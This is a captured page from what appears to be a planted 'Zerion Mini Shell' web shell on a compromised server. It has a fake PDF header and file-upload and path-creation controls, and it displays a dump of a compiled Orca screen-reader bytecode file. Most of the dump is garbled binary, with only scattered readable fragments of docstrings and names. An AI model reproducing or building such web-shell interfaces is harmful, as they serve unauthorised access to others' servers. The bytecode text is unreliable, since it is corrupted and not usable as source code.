%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/orca/scripts/web/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/orca/scripts/web/__pycache__/sound_generator.cpython-312.pyc

�

g
fI���dZdZdZdZdZdZddlZejdd	�dd
lm	Z	ddl
mZddl
mZGd
�dej�Z
y)z;Utilities for obtaining sounds to be presented for objects.z$Id:$z$Revision:$z$Date:$zCopyright (c) 2016 Igalia, S.L.�LGPL�N�Atspiz2.0)r)�settings_manager)�sound_generatorc�:��eZdZ�fd�Zd�Zd�Z�fd�Zd�Z�xZS)�SoundGeneratorc�$��t�|�|�y�N)�super�__init__)�self�script�	__class__s  ��B/usr/lib/python3/dist-packages/orca/scripts/web/sound_generator.pyrzSoundGenerator.__init__(s���
���� �c���tj�jd�sgS|jjj|�sgS|j
dd�s|j|d<d|d<|jjj|�rJ|jjjdi|��g}tt|j|��}|r|SgS)z7Returns an array of sounds indicating obj is clickable.�playSoundForState�modeN�	clickable�
stringType�)r�
getManager�
getSetting�_script�	utilities�inDocumentContent�get�_mode�isClickableElement�
formatting�	getString�list�map�_convertFilenameToIcon�r
�obj�args�	filenames�results     r�_generateClickablez!SoundGenerator._generateClickable+s��� �*�*�,�7�7�8K�L��I��|�|�%�%�7�7��<��I��x�x���%��:�:�D��L�(��\���<�<�!�!�4�4�S�9�:����0�0�:�:�B�T�B�C�I��#�d�9�9�9�E�F�F���
��	rc���tj�jd�sgS|jjj|�sgS|j
dd�s|j|d<d|d<|jjj|�rJ|jjjdi|��g}tt|j|��}|r|SgS)z9Returns an array of sounds indicating obj has a longdesc.rrN�haslongdescrr)rrrrrrrr�hasLongDescr r!r"r#r$r%s     r�_generateHasLongDescz#SoundGenerator._generateHasLongDesc@s��� �*�*�,�7�7�8K�L��I��|�|�%�%�7�7��<��I��x�x���%��:�:�D��L�*��\���<�<�!�!�-�-�c�2�:����0�0�:�:�B�T�B�C�I��#�d�9�9�9�E�F�F���
��	rc����|jjj|�st�|�|fi|��Sg}|jd�dk(r|j
d|�}n�|jjj|�r+|j
tjj|�}ns|jjj|�r+|j
tjj|�}n#|j
|j|fi|��|�}|jt�|�|fi|���tt!d�|��}|j#||�|S)z@Returns an array of sounds for the complete presentation of obj.�
formatType�detailedWhereAmI�defaultc��|Sr
r)�xs r�<lambda>z.SoundGenerator.generateSound.<locals>.<lambda>fs��q�r)rrrr�
generateSoundr�
_overrideRole�isLinkr�Role�LINK�
treatAsDiv�SECTION�_getAlternativeRole�extendr"�filter�_restoreRole)r
r&r'r)�oldRolers     �rr6zSoundGenerator.generateSoundUs(����|�|�%�%�7�7��<��7�(��5��5�5����8�8�L�!�%7�7��(�(��D�9�G�
�\�\�
#�
#�
*�
*�3�
/��(�(������$�?�G�
�\�\�
#�
#�
.�
.�s�
3��(�(����);�);�T�B�G��(�(�)A��)A�)A�#�)N��)N�PT�U�G��
�
�e�g�+�C�8�4�8�9��f�[�&�1�2�����'�4�(��
rc�
�t|�sgSg}|jjj|d�}t	|�D]?\}}|\}}}}	|j
|f|||	|t|�d�|��}
|j
|
��A|S)z8Returns an array of an array of sounds for the contents.F)�startOffset�	endOffset�string�index�total)�lenrr�filterContentsForPresentation�	enumerater6�append)r
�contentsr'r)�i�contentr&�start�endrE�icons           r�generateContentszSoundGenerator.generateContentsks����8�}��I����<�<�)�)�G�G��RW�X��#�H�-�	 �J�A�w�&-�#�C���V�%�4�%�%��6�!&�#�f��s�8�}�6�04�6�D�
�M�M�$��	 ��
r)	�__name__�
__module__�__qualname__rr*r.r6rR�
__classcell__)rs@rrr&s���!��*�*�,rr)�__doc__�__id__�__version__�__date__�
__copyright__�__license__�gi�require_version�
gi.repositoryr�orcarrrrrr�<module>rasV��,B�������1�
���	�����7�E�"��!� �T�_�3�3�Tr

Zerion Mini Shell 1.0